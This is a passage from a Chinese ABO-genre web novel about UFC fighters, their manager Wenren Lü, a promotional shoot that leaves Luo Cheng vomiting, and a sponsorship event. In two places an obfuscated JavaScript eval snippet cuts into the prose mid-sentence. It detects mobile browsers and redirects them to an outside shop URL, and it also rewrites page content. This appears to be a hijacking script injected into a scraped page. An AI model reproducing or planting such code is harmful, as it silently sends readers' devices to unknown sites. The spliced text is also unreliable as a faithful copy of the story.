心不在焉地思忖着,他走进vip按摩室,抬头就见一个比自己矮壮一些的Alpha正从按摩床上下来。对方长相端正、肌肉结实,手臂粗壮,但臂长稍稍逊色,身材看上去不够大气舒展——是与自己同在UFC轻重量级征战的同胞,伍沛霖。 “嘿,好巧,你也来按摩?”洛城同他打招呼。以往伍沛霖会回复一个笑容,再跟他寒暄两句,今日却只面无表情地点点头,错开他步履匆匆地离开了按摩室。 不禁望向按摩师罗师傅,洛城满脸无辜:“我没惹他吧?” “……你不知道?”把筋膜刀放到一旁,罗师傅干净利落地换上新床单,又伸手拍拍床沿,示意他躺上来:“刚才UFC那边发出公告,他的比赛对手劳伦斯训练受伤,宣布退赛了。” “啊?”洛城大吃一惊,赶忙摸出手机上网看新闻,连罗师傅手中的“刑具”都顾不上在意了。 -------------------------- “登峰”在绿地大厦占了九个楼层,从十五楼到二十四楼,员工八百多人。其中总裁办公室设置在第十九楼,最吉利的数字。闻人律一开始是不屑一顾的,觉得这是迷信,但公司逐渐扩张后,楼层也随之上升,陆庭风苦口婆心地劝他把总裁办公室从十八楼迁上来:“十八十八,那是十八层地狱,知道吗?还是十九好!既然你不在乎,那就搬上来嘛,算我求你,行不行?” 正好那时公司的业务经营不畅,老是在匪夷所思的地方出问题,闻人律便不甘不愿地答应了陆庭风的请求。也许是巧合吧,从那之后,“登峰”便像开了挂一般,一连签下了十几位颇有名气的实力选手,伍沛霖就是其中之一。 面对眼前这名勤奋又讷言的Alpha斗士,闻人律的态度是颇为客气的:“伍哥,找我什么事。” 伍沛霖郑重地将手机放到他面前,屏幕上是劳伦斯的退赛新闻:“律总,劳伦斯训练时受伤了,说要退赛,那现在我这一场主赛怎么办,只能取消吗?” “这个新闻我刚才也看到了,正准备给你的经纪人李雪打电话,跟她讨论换人的可能性。不过我建议你不要抱太大希望,毕竟跟你名次相近的选手要不就是有比赛,要不就是正处于休养期,不一定能匹配到合适的。”说着,他抬手将陆庭风招过来,问他:“之前跟劳伦斯那边谈定的退赛赔偿是多少?” “四十万。”陆庭风刚跟李雪确认过这事儿,现在答得十分快速:“扣掉备赛时的训练花费和公司抽成,伍哥还能拿到十五万。” “嗯。”这时闻人律又看向伍沛霖,手掌搭到桌面上,轻轻一点:“这一次公司可以再补偿你五万,那就是二十万。新的比赛我尽量帮你安排到第351期,也就是三个月后……” “这一次真的不行么?”伍沛霖一双略显疲惫的垂眼不甘地望着他,神情分外执着:“我等了半年才等到这场比赛,我不想再等了,律总你帮帮我吧……!我知道第八名的杰克逊目前有空闲,他三个月前刚输了比赛,最近又深陷抚养费纠纷,肯定很缺钱的。你帮我跟他的经纪人说一说,万一他答应了呢?我真的不想再等了……” 伍沛霖并不是自小学拳的职业选手,他以前是一名汽修工,二十二岁才开始练习格斗。半路出家却能在七年内打到UFC第十五名,天赋不可谓不佳。但在闻人律看来,他也只能止步于此了——外形不够特别、气质不够慑人,性格也是乏善可陈,这样的人只能作为“工兵”一样的存在,永远无法成为巨星。 “既然你这样要求,那我可以去试试。”想到他家里有两个年幼的孩子,妻子也没有工作,闻人律便不好拒绝得太直白,“我会安排李雪跟杰克逊那边接洽的,有消息我会第一时间告诉你。” 得到肯定的答复,伍沛霖忐忑的神情顿时放松许多,脸上也有了笑意:“好!律总,那我继续训练,有消息一定要通知我啊。” “我会的。” “那、那我不打扰你们了,律总、陆秘,我先回去训练了。”他离开得如来时一样迅速,眨眼间便没了踪影。闻人律无言地望着门口方向,忽然轻叹一口气,拧着眉揉了揉眉心。 一旁,陆庭风了然地斜睨着他,冷不丁道:“你是不是在想,如果洛城能有伍沛霖一半的勤勉就好了?” “哪壶不开提哪壶。”坐到沙发里,闻人律给自己倒了一杯咖啡,心不在焉地啜饮:“伍沛霖哪儿都好,就是差那么一点儿天赋、差那一口气。这点儿差距虽然不大,但却非常致命……他很难有死忠粉的。” “是吗?我见你对他比对洛城还要客气,还以为他大有潜力呢。”陆庭风话中有话,但闻人律想着事情,没工夫跟他打哑谜:“……伍沛霖为人踏实,行事说话也很有分寸,我为什么不对他客气?倒是洛城,就他那德性,我要是对他和颜悦色,不出两天他就能爬到我头上去,你信不信?” “那你为什么不给伍沛霖多争取一下?我觉得他说得有道理,杰克逊现在急需一场比赛振振气势,顺便赚点儿钱。你要是亲自出马,他的经纪人阿里说不定会答应的。” 闻言,闻人律嫌弃地望向他,不耐道:“陆庭风,你晃晃你的脑袋、想想清楚——排名十四和排名第八怎么配比赛?虽然只差了六个名次,但这个第八是从第三名落下来的,瘦死的骆驼比马大,名气那么悬殊,人家凭什么给你扶贫?” 陆庭风依旧不为所动地盯着他,甚至冷酷地挑了一下眉:“怎么不可能?两年半以前,洛城只排名十五,不也跟第七名配成了一场比赛么?还是你亲自去谈的,你忘了?” 闻人律顿时哑口无言。 鄙夷地轻哼一声,陆庭风也坐下来,一边倒咖啡一边严肃地道:“你啊!就是太偏心洛城了,把宝全部押在他身上,精神紧绷、患得患失!你多看看他身后的那些人啊,比如伍沛霖,比如陈克俭,他们也都是很有潜力的,你不能寒了他们的心知不知道?现在伍沛霖跟我们只有3场比赛的合同,到时候比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572142|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赛打完,他不续约了怎么办?……你不能只看着最顶尖的那个啊,公司的基石还是由伍沛霖这些人组成的,你不明白么?” “那不是有其他经纪人么?”闻人律脸色不好看了,冷冷地瞪向他:“每一个都要我去操心,那经纪人是干什么吃的?如果他们想要我亲自保驾护航,就自己争点儿气,打出成绩来,我自然会特别关照!……让我一视同仁是不可能的!” 被他抢白得无话可说,陆庭风也不劝了,恶狠狠喝光了一小杯咖啡:“行,行,你就偏心吧!到时候腾云来挖人,绝对一挖一个准,别怪我没提醒你!” 他气鼓鼓地找李雪去了,丢下闻人律独自坐在沙发上,眼神晦暗不清。过了几分钟,他还心烦着呢,这厮却又火烧火燎地折了回来,把手机丢到他面前大叫:“卧槽,格伦奥康纳先出招了……!他是怎么知道洛城刚被甩了的?” “什么?”赶忙拿过手机查看,只见视频里那个高大结实的金发斗士满脸倨傲地立在某个舞会的人群之中,西装革履、器宇轩昂,说出来的话却恼人得很:“Iron Fist?我更愿意叫他loser,因为只有loser才会因为失恋而哭哭啼啼。从这一点也可以看出我跟他的差距——我情人多得数不过来,多一人少一人我都不在乎,才不像他,被区区一个Omega玩弄于掌心。” “不过他多哭一点也好,毕竟一个月后他会被我打得痛哭求饶,现在就当是提前演练了。Hey Iron Fist!你等着被我KO吧,我会狠狠打穿你的肚子,让你痛得在我面前跪下来!” 望着格伦奥康纳嚣张的面孔,闻人律不禁黑了脸,气势汹汹地站起身向外走:“……去训练馆!” --------------------- 洛城是按摩结束后得知这个消息的。 他全身像在水里洗过,汗涔涔的,浑身皮肤被刮得通红,肌肉酸痛无比,从按摩床上下来时腿都软了。扶着墙刚蹭到门口,曹教练便风风火火地从外头撞了进来:“阿城,出事了!格伦奥康纳在ig上挑衅你,咱们得想想怎么怼回去才行!” “啊?”没来得及看视频便被拖回了训练场,洛城一见八角笼旁站着面色黑沉的闻人律,心中便大叫不妙。果不其然,他还没走到近前,那人就满目森冷地抬眼望了过来,语气里甚至有一丝咬牙切齿:“你跟小晴分手的事,都跟谁说了?” “我……”洛城的大脑有一瞬间短路了,满心茫然,几秒后才机械地转动起来:“我好像,没有刻意瞒着?” 意思就是很多人都知道了!闻人律恨不得掐死他,眼中怒火腾腾,那情绪说不清是气恼还是恨铁不成钢:“现在正是赛前宣传的紧要关头,你不但不小心行事,反而大嘴巴到处乱说……你知不知道你的形象定位是硬汉啊!现在格伦奥康纳曝出你因为失恋而不好好备赛,这会造成多大的影响你明白吗?!” ……居然被曝出去了?洛城浑浑噩噩地站在那儿,后知后觉地开始思索,自己这几天心不在焉地跟哪几个人透露了此事。然而闻人律已经没有耐心等他慢腾腾地反省,沉着脸转而开始跟陆庭风和曹教练商量对策:“你们觉得怎么对付才好?怼回去,侧面回应,还是置之不理?” “怼回去就显得此地无银三百两了,不搭理的话又怕粉丝们多想……我觉得还是侧面回应的好。”陆庭风说。 “我同意。”曹教练拧眉思索几秒,提议道:“赛前纪实还要过三个星期才放出来,我们不能指望用那个回应。我的建议是,咱们自己拍一段视频,一段体能训练或是基础训练的视频,着重凸显一下洛城‘硬汉’的方面,同时让他轻描淡写地否定一句,这样粉丝的心就定了,也不会显得反应过度。” “体能训练?大概选哪几个项目?”闻人律的眉心依旧蹙着,但眼神十分专注,显然是等着评估具体细节的效果。曹教练思忖一会儿,手指头缓缓地掰了四根出来:“长跑、翻轮胎、实战对抗和击腹训练。尤其是翻轮胎和击腹,轮胎要大,击腹要重!这样才能凸显他的力量和强劲。” “好,那就这样办。”说着,他眼神果决地望向洛城——那视线让卷发斗士一个激灵,条件反射地绷紧了自己的八块腹肌。 9. 击腹训练 在所有的训练之中,洛城最害怕的便是抗击打训练,尤其是腹部。若说别的项目还有一定的对抗性、趣味性,精疲力竭之后会产生不同程度的痛快感,但抗击打训练能带来的……就只有纯粹的痛苦。 第二天一大早,闻人律便派来了公司的摄影团队,准备拍摄用于回应以及宣传比赛的视频物料。这次陆庭风居然也跟来了,站在场边跟曹磊和导演敲定一些拍摄的细节。洛城觉得奇怪,热身完毕后便忍不住一边喝水一边凑上去问:“陆秘书,你最近很闲吗?” 扭头回望,他运动背心下饱满的胸肌猝不及防地撞进眼帘。陆庭风慨叹地注视了两秒,随即抬起眼,用一种略显无奈的视线望向他冒着热气的脸:“不是我很闲,而是你的经纪人李志明啊,太神出鬼没了。今天本该是他负责跟进度的,结果他说家里有事,临时请了假,律总又不放心,只能叫我过来监工。” “哦……”顿时有些悻悻,洛城没了话,挠挠头踱了回去。 李志明是他带进“登峰”的。两人狐朋狗友七年多,见证了彼此的低谷与崛起,“革命情谊”颇为深厚,有了好机会自然是相互提携。这人虽然有点儿放纵的小毛病,但惯来能说会道、敢想敢干,工作方面做得还算可以。可现在他突然掉了链子……虽然陆庭风没有明说,但洛城还是听出了他的话外之音。 抿着唇给李志明发一条信息:你搞什么,怎么请假也不跟我说?洛城有些心神不宁,坐在器械上发愣半晌,见对方不回复,便泄气地把手机扔到了一边去。 早上八点刚吃的早饭,现在不过十点半,又开始饿了。 以前他会在训练的间隙补充一些蛋白棒,但这时曹教练带着摄制组走了过来,洛城也只好忍着饥饿站起身,跟他们走向室外的跑道。 今日的天气也是阳光明媚,塑胶跑道被太阳晒得热腾腾的,灼热的温度昭告着盛夏的来临。洛城脱了运动背心站在刺眼的阳光下,深蜜色的肌肉不需涂油便被汗水沁得晶亮,胸口和大臂处青黑的纹身也被浸润得乌黑,仿佛吞噬了所有的光。 曹教练让人推来了馆内最大最重的轮胎,足有一人高,重达250Kg,要求他从100米起跑线开始翻。当洛城紧咬牙关调动全身的力量将轮胎抬靠在自己的大腿上时,他喘息着停顿一瞬,久违地感觉到了力竭。 ……看来还是太久没训练了。他这样想。 摄影师沿着铺设好的轨道由远及近地拍摄他,一段结束,停下来调整镜头、器械转场,再拍摄第二段。等待之时,曹教练见洛城神情疲惫,便上前问他:“累了?还是饿了?” 洛城萎靡地揉揉肚子:“……饿了。” “饿也忍忍吧,待会儿还得拍抗击打训练,别把你打吐了。”曹教练却这样劝说。这话虽然有道理,但洛城还是忍不住怨念地瞪了他一眼:“冷酷无情。” 把曹教练逗乐了,抬腿踢他一脚:“还能跟我贫嘴,看来不是太饿!” 在拍摄到第五段画面、轮胎翻到靠近50米线时,洛城大汗淋漓地往远处一瞥,意外发现闻人律不知何时来了,西装革履地立在场馆大厅的玻璃幕墙前面,正挑剔地看着这边。被那审视的视线一望,他立即条件反射地绷紧后颈,咬牙将沉重的轮胎又翻了个身,砸在地上发出“嘭”的闷响,还把摄影师吓了一跳:“不用翻了不用翻了,这个场景OK了!” 喘息着擦掉下巴尖的汗水,此时洛城再瞄过去,闻人律已经消失无踪。 ……他默默地松了一口气。 接下来的跑步和实战对抗是洛城擅长的,一行人只用了80分钟便拍完了。眼看着时间快要到十二点,洛城那个饥肠辘辘,加上又有些犯怵,便忍不住去求曹教练:“磊哥,那个抗击打训练的拍摄……要不就留到下午吧?我先吃个饭,太饿了……咱们下午再拍,好不好?” “不行,下午还有备赛训练呢,人家拍摄团队也有其他的任务,要是真等你吃个饭再消化完,那岂不是得耗到傍晚?……你就忍忍吧,反正那个快,机位架设好,十五分钟应该就拍完了。” 他都这样说了,洛城还能怎么办?只好咬咬牙坐回去,深吸一口气闭上眼,给自己做心理建设。 不远处,陆庭风坐在长椅上正用手机跟大老板汇报工作,一抬头就见擂台上机位架设好了,即将开始拍摄抗击打训练的镜头。正巧闻人律开完了会,他便顺嘴提一句:“马上要拍抗击打的片段了,你过来看吗?” “来,你们先拍着。”涉及洛城的事,闻人律总是特别果断,说怎样就怎样,绝不含糊。果然,五分钟后,一个人影就大步流星地自场馆侧门走了进来,西装外套搭在臂弯上,一看就是从办公室那边赶过来的。 闻人律领带扯松了,袖箍也没戴,衬衫扣子解开二颗,显然被炎夏的热度烤得不轻:“开始了吗?” 陆庭风朝擂台上努努嘴,示意他自己看:“……喏。” 这时正巧机位转换,拍摄开始,闻人律的视线被一记猝然响起的沉闷击打声吸引过去——洛城只穿着训练短裤靠在角柱上,双臂向后夹着围绳,八块腹肌绷得块垒分明,已经被一记又一记的鞭腿踢得火辣辣地发红。他好像很痛苦,面色微微发白,往常吊儿郎当的笑脸被狰狞的咬牙切齿所取代,皮肤下的青筋也绷了起来,并且随着沉重的击打一下下跳动着,仿佛下一秒就会爆炸。 虽然闻人律经常看洛城训练,但这种抗击打的特训他还是见得不多。此时此刻,看到这个随性散漫的人被折磨出如此难受的神情,闻人律拧起眉,忍不住小声道:“拍个宣传短片而已,不用真打吧?” “你说什么?”陆庭风一怔,诧异地望向他:“他是格斗选手啊,这样的训练本来就要做的,真打不是理所应当吗?” 他这么一说,闻人律像是忽然意识到自己的失言,立即绷起了脸:“也是,就当做一次训练了。” 擂台上,沉重的鞭腿依旧在持续着,仿佛攻城巨木一般用力撞击洛城的腹部。绷紧的核心肌群艰难地抵御着一次又一次的攻击,疼痛像某种震荡波,沉闷地沿着身躯辐射开,震得洛城的脑子嗡嗡作响、头昏脑涨。 他感觉自己有点儿想吐……这种反应是前所未见的。小腹的疼痛似乎拉扯到了空荡荡的胃袋,一波波抽搐沿着食道反上来,逐渐蔓延到喉管……洛城感受到,自己坚硬的后槽牙似乎在一点点粉碎。 “啪!”随着一记势大力沉的中扫,他再也忍受不住,“咳”地吐出了一口黄水。 不远处的闻人律面色立即凛冽,环胸的手臂放了下来。 摄制组赶忙停止拍摄,陪练也赶紧停手,扑上去查看:“城哥?城哥!怎么了,太用力了是么?” “没……”刚想否认,可胃里立即又呛出酸涩的酸水,全吐在了汗迹斑斑的擂台上。曹教练赶紧让人拿来电解质水,扶着他喝下一些:“好点儿么?还难不难受?” “我……呕!”剧烈收缩的胃仿佛某种小动物濒死前的挣扎,一下下用力拉拽他紧绷的喉管,连带着小腹也一刺一刺地发疼。洛城根本说不出话,强壮的身体颤抖地蜷缩着,额头抵着台面剧烈呕吐,汗湿的脊背拱成一座桥。周围训练的人都不禁围了上去,七嘴八舌地猜测:“太饿了吧?……还是停一停,缓一下,再吃点儿东西……” 视线被围拢的人群阻隔了,闻人律心浮气躁地收回视线,偏头对陆庭风道:“你去问问摄影团队,物料拍够了没有?够了的话就结束吧,带洛城去冷敷一下,再吃点儿温热好消化的东西。” “行。”陆庭风应声向前走去。闻人律抬着下巴长久地注视着,见他与摄影团队交涉过后,朝自己比了个“OK”的手势,这才稍稍放心:看来不用继续拍了。 此时再看洛城,他被曹教练和陪练扶着走下擂台,蜷在休息椅上侧躺着,面色依旧是痛苦的煞白。闻人律的眉心下意识又蹙了起来,脚下情不自禁地向前走去,想确认一下洛城的情况。但转念想,这种抗击打训练对格斗选手应当是司空见惯……便又顿住脚步,定在原地没了动作。 大概率是前段时间疏于训练的恶果。他脑子里冒出这样冷酷的念头。最后望一眼洛城冷汗涔涔的脸庞,闻人律踌躇着转过身,随即神色一定,大步离开了训练馆。 -------------------------- 腹部的不适一直持续到了晚上。 下午的训练是勉强完成的,质量与成果都有些不堪入目。曹教练看着记录表里惨不忍睹的数据微微咋舌,忍不住小声嘀咕:“早知道把抗击打训练放到最后了……” 洛城哭笑不得地瞪他:“放最后难道我就不会痛了吗!” 曹教练嬉皮笑脸,朝他扬扬本子:“至少数据没这么难看啊。而且你晚上回去好好睡一觉,第二天肯定又生龙活虎了,是不是?” ……是个鬼!暗暗咒骂一句,洛城懒得跟他贫嘴,拖着残躯神色萎靡地打了辆的士,澡都顾不上冲,苟延残喘地回了家。 今天回得比以往早半个小时,正巧碰上敏姨在给他做晚饭。听见他开门的声音,敏姨拿着汤勺讶异地走出厨房,惊奇道:“阿城?你今天回这么早啊。” 洛城揉着小腹露出个勉强的笑容:“嗯,回来泡澡。”眼帘一垂,他瞥见敏姨身上穿着一件眼熟的棉布围裙,深蓝底色上缝着个橘黄的向日葵花盘,是妈妈以前那条。敏姨也反应了过来,低头拉扯一下围裙布角,略显尴尬道:“……那阵子梦娟总是跟我一起吃饭。正好我围裙破了,她就拿了这条给我。阿城,要是你觉得不舒服,我就……” “没事,敏姨你用着吧,我妈那人抠门得很,东西不用烂是不舍得扔的。”安抚地揽揽她肩,又轻轻一拍,洛城径直走向了主卧卫生间:“我去泡个澡,敏姨你忙吧。” 二十分钟后,待全身泡进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572143|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温热的水中,他感觉腹部的不适似乎缓解了些,像一块冰凌被热度融融化开,磨去了尖锐的棱角。终于长长地呼出一口气,洛城闭上眼,仰头靠到浴缸枕位上,紧绷的肌肉这才放松下来。 ……好累啊。 一松懈便又想睡了。躺在舒适的热水中,他半阖着眼,脑袋缓缓歪向一侧,几乎要睡了过去。但肚子还记得没吃晚饭,空荡荡的胃袋没了腹痛拉扯之后,便像苏醒的蛇那样,在身体里“咕噜咕噜”地扭拧翻滚。洛城不得不残念地坐起来,一张脸皱成了苦瓜,欲哭无泪:自己这是要变成个饭桶了么?天天饿天天饿,三点才吃过补剂,现在又饿!……训练的消耗也没那么大吧? 匆匆洗去汗腻,洛城穿上宽松的衣裤走出房间,就见敏姨刚收拾完厨房正准备离去。餐厅的桌上摆着丰盛的四菜一汤,自己要控制饮食,想来是吃不完的,他便挽留道:“敏姨,今天留下来跟我一起吃饭吧。这么多菜,我一个人肯定会剩下。” 若是别人开口,敏姨大概率就回绝了,但洛城的妈妈与她感情深厚,又刚去世不久……敏姨心软,立即应了下来:“哎,好。” 于是两人面对面坐下,各自盛一碗藜麦饭、一碗汤,一边吃一边闲聊。今日敏姨给他煲的是红参北芪鸡汤,浓香中略带着些药材的味道,洛城不喜,浅尝一口便放了下来。敏姨瞥见,劝道:“多喝两口吧。你不是说这几天老犯困吗?可能是前阵子忙你妈妈的事伤了神,现在又突然剧烈运动,气血消耗得太多了。这汤是补气血的,喝了对你身体好。” 洛城对中医这个东西向来是不信的,但敏姨一片心意,他犹豫一瞬,还是喝掉了半碗汤。其他四个菜都是低脂高蛋白的菜色,洛城吃得没滋没味儿的,不禁叹口气,跟敏姨抱怨:“每次备赛都吃得跟苦行僧似的……等我比完这一场,非得吃个大餐不可!红烧肉、火锅、排骨、烧鹅……连吃一个星期!” “好好好,想吃什么,我都给你做!”敏姨被他逗乐了,忍不住好奇地问:“你们备赛这么严格啊,连吃餐好菜都不行?” “不行的,菜谱都有要求,要严格控制体重……” “但也没人监视你吧?偷偷吃也不可以吗?” 偷偷吃?洛城眼睛微亮,但只心猿意马了一瞬,便泄气地垂下眼帘:“算了……要是把状态吃出问题,教练那关还算好过,可我那老板是真会杀了我的!我还是忍忍吧。” “有那么夸张吗?” “哼,我可一点儿没夸张!”一说起闻人律,洛城那个滔滔不绝,把平日里在他那儿受的气全倒了出来:“天天就死盯着我,准备挑我的刺。我去晚了、早退了,他都有意见,我跟别人说话太大声,他也要瞪我一眼!我真不知道我哪儿招惹了他。就像今天,我们拍宣传片,我被打得都喘不过气了,肚子痛得差点儿厥过去,别人都来关心我呢,他倒好,翻个白眼就走了!不知道的还以为我欠了他钱呢!” 敏姨被他夸张的语气逗得发笑:“他是不是一个糟老头子,嫉妒你高大帅气啊?” 被这个问题冷不丁一噎,洛城张张嘴,不服气地小声道:“……不是,他比我还小三岁,长得一表人才。” “比你还小三岁?”这下轮到敏姨惊讶了,“那岂不是才二十八!这也太年轻了!” 明明是想让敏姨跟自己同仇敌忾的,怎么她反倒赞叹起敌人来了?洛城不大高兴,闭了嘴闷声喝汤,脸上都是不甘的怨气。 敏姨晃眼间瞥见,赶忙收声,转而笑着哄道:“……看来你这个年轻的老板,脾气不大好。这种人趾高气扬的,平常肯定没什么朋友,说不定连个对象都找不到,比咱们阿城可差远了!你以后呀,不必跟他一般见识,做好自己的就行。他吹胡子瞪眼,你就当看不到。” ……唔,这话说得倒是不错。洛城心里又舒服了,夹了一块烤三文鱼放进碗里,大快朵颐,惹得敏姨又抿唇笑了一会儿。 吃到一半时,敏姨忽然想起什么,问:“哦,有个事——阿城,你妈妈那个房子,你打算租出去吗?昨天有一家外地人来这边找租房,就看中了那套,说也不嫌晦气,只要价格合适就成。阿城,你想不想租出去呀?” 晦气?洛城面露不悦:“轮得到他们挑三拣四?我妈是心梗走的,生前快活潇洒,走得也干净利落,一点儿罪没受,这叫晦气么?……这明明是福气!他们懂不懂啊?……不租,我才不租给这种自以为是的蠢人!” “好好,我帮你回绝他们,你别生气。”敏姨忙不迭安抚着,见他汤碗空了,赶紧端过去帮他又盛了一碗。 洛城没注意,他只感觉心头气鼓鼓的,刚刚才平息的腹痛似乎又卷土重来,拉扯得他的胃一下下抽搐。忍不住拿起碗连喝几口汤,温热的液体将紧张的胃壁安抚平静,热度流遍四肢百骸,这时洛城才低头注意到碗底那些切成薄片的中药材……唔,别的不说,喝下去倒是挺舒服的。 10. 心理阴影 经过三天的加班加点,在拍摄完成后的第四天晚上,洛城的宣传短片在各个网络平台准时发布。 彼时闻人律正在健身。早上恰逢开会,所以搏击练习挪到了晚上,搞得晚饭都没敢吃太多。在回合休息的间隙中,陆庭风发来一条信息,他定睛一看,见是福布斯网站公布的最新赔率:洛城的赔率从230变成了190,格伦奥康纳的赔率则从-190变成了-160。 洛城依旧是下狗。 一旁的教练丁锐瞥见,随口道:“□□公司的反应挺快啊。宣传片发出来才半个钟,他们那边就有动静了。” “奥康纳的公司就这一场比赛做了很多宣传造势,自然备受关注。”说着,闻人律又点开了那条宣传短片,认真观摩每一个画面。不得不说,板起面庞的洛城还是很能唬人的,看着他在镜头中坚毅的神情和孔武有力的出拳、迅如疾风的速度以及如蟒蛇一般的柔术绞杀,闻人律心底难得冒出一丝欣慰:“等之后UFC的官方赛前纪实放出来,赔率应该还会有一次变化。” “能越过格伦奥康纳的赔率么?”丁锐笑着问。 无奈地瞥他一眼,闻人律放下手机,拿起水杯喝了一大口:“……你真是说废话。” 丁锐是国家队退役的柔术运动员,年纪不小了,四十出头,自身水平是不错,但是教学能力不咋地,所以就在馆里当当基础教练,再兼任老板的私人训练导师。这人爱开玩笑,一开始还问闻人律呢:“老板,既然你想锻炼身体,那怎么不去当他们格斗选手的陪练呢?一举两得啊。” 问得闻人律一脸黑线:“锐哥,我是不是哪里得罪你了,你这么想要我的命?” 丁锐放声大笑。 十分钟休息结束,闻人律擦擦汗,站起身准备进行最后一回合,回头却见丁锐依旧坐在原处,对着手机屏幕露出一丝困惑。闻人律狐疑地走过去,低头一瞅,发现他正仔细观摩洛城宣传短片中柔术对抗的那一段:“有什么问题吗?” 招招手让他坐下来,丁锐把手机往他那侧递过去,一边手指一边讲解道:“你有没有觉得他下位防守的动作有点迟疑?明明应该及时固定对手的把位,但他宁可近距离甩肘对抗,都不愿贴身箍颈。” “……有吗?”不确定地回放了两次,闻人律拧起眉,发现确实如丁锐所说,洛城的下位防守策略跟以往不大一样。这时,丁锐又道:“我看过格伦奥康纳的比赛,他上位压迫时进攻很强烈,不贴身防守的话是很危险的,洛城的备赛团队怎么给他制定这样的战术呢?太胡闹了……” 闻人律的面色不禁严肃起来,扭头对他道:“锐哥,要不你明天去看看他们训练?有什么问题及时提出来,这样团队也好修改战术。” “行,那我明早过去……” 明早?略一沉吟,闻人律摇摇头:“早上不行,早上洛城有代言活动。你下午再过去吧,下午他会回场馆训练的。” -------------------- 第二天早上,当洛城一身宽松运动装来到商场时,终于看到了多日不见踪影的李志明。 这个中等身材的干瘦Beta好像碰到了什么倒霉的事情,面色青白,腰背微微佝偻地站在活动后台,手里拿着薄薄的台本却根本没有在看,反而抓着手机在不停地发信息。洛城一见他就来气,走上去不由分说先踹他一脚,随即掐着人后颈拖到角落里,恶声恶气地低声质问:“你这几天跑哪儿去了,连信息都不回?!……别跟我说家里有事,老子还不清楚你那点儿破伎俩!” “哎哟,疼!城哥城哥……别掐了,疼疼疼!” 李志明缩着脖子连声告饶,强忍着疼痛拧过身,朝他露出一个谄媚的笑容:“哥我不骗你,前几天是真的有急事,昨天晚上才忙完呢!你看,我一忙完就来找你啦,怕耽误你的事儿……” “你还知道耽误我事儿啊?”洛城气不打一处来,“就因为你临时撂挑子,那天我还被陆庭风阴阳了一把!早知道你这样死性不改,当年我就不保你进登峰了,你爱干嘛干嘛去!” 被他啐了个劈头盖脸,李志明的笑容变得有些勉强,但仍扯着嘴角同他讨饶:“城哥,我错了城哥,你别生气。陆秘那里我自己会去跟他请罪的,绝对不牵扯你,啊?你先坐下,消消气,再看看台本……”将人拉到后台坐下,李志明把台本塞到他手里,又干瘪地笑了笑:“我去给你倒一杯咖啡。” 心不在焉地瞥一眼他走远的背影,洛城不疑有他,开始认真地看台本。今天的活动是魔爪饮料的新品推广会,请了好几个代言人来——洛城看到了国家羽毛球队和田径队的选手,几人相互打了个招呼。人家还问他呢,三周后的比赛有把握能打赢吗?我准备押你哦。 洛城笑得有些心虚:我尽力。 此次活动的台本很薄,不到两分钟就烂熟于心了。洛城把台本放到一旁,忽然发现李志明倒咖啡还没回。扭头正想寻找,一个身着深蓝色西装的强壮身影却冷不丁挡到眼前,笑笑地唤了他一声:“Hey,Chan!” 洛城抬头一看,来人居然是UFC轻重量级刚退役一年的传奇选手KSP(Kerwin St- Pierce),以及WBC次中量级金腰带拳击手梅威瑟!他赶忙起身与这二人握手问好:“Hello,你们好!” 可打完招呼就不知道说什么了。毕竟洛城只完成了九年义务教育,当年曾试图拿个高中毕业证,但训练太忙、他心思又太野,最终也没能如愿。如今面对两名笑盈盈的外国友人,他心里那个紧张,想着我不能给国家丢脸……可英文这东西,不会就是不会啊,能怎么办? 正干笑着,KSP的中文翻译终于出现了,挤到他们身旁做了个自我介绍,洛城这才松一口气。 有了翻译就一切好办,三人坐在后台直接聊了起来——见他们俩都西装革履的,发型也仿佛刚刚理过,身上还有香水味,洛城立即明白了他们此次中国行的任务:“你们是来参加电影首映式的,对吗?” KSP微笑着点点头,一双蓝瞳大眼睛十分谦逊:“是的。”这笑容看得洛城颇有种如沐春风之感——作为退役一年的传奇选手,KSP凭着当年连续八场卫冕的辉煌战绩和阳光俊朗的外形,一直在网络上保持着不错的曝光率。在退役之前,他就受邀客串了三部动作片,退役之后,一部好莱坞动作巨制更是直接找上他,邀请他出演男四号,往后的星途可谓是一片坦荡。 真好啊……望着KSP亲和的笑容,洛城忍不住神游天外:自己有没有可能达到他这样的成就呢?拿下金腰带,连续卫冕八次,保持全胜退役,转型也一帆风顺……但想一想自己的年纪与目前的排名,洛城又不免叹息:看来是难以实现了。 这时有人走进后台,洛城挪一挪位置,来到了KSP和梅威瑟的下风方向。鼻子嗅到的香水味猝然变得浓烈,加上商场的清新剂气味和另一股说不清道不明的轻微狐臭味,他喉头一噎,胃部冷不丁涌上了一股呕吐的冲动。 见洛城面色苍白,哽着喉咙难以自控地作呕,KSP担忧地打量他两秒,问:“怎么了,是不舒服么?” “没什么……”这样的反应在白人和黑人面前属实有点儿失礼了,洛城努力遏制着那股冲动,撇开脸捂紧嘴巴:“就是今早吃太杂了,商场又闷,有点反胃而已。” 闻言,KSP似乎想起什么,让助理到外头保姆车上拿了一小袋亮黄色的糖过来:“这是我小侄子爱吃的柠檬糖,味道不错,应该能帮上忙。”他坦坦荡荡的,洛城也不好推辞,老实地接了过来:“谢谢。” 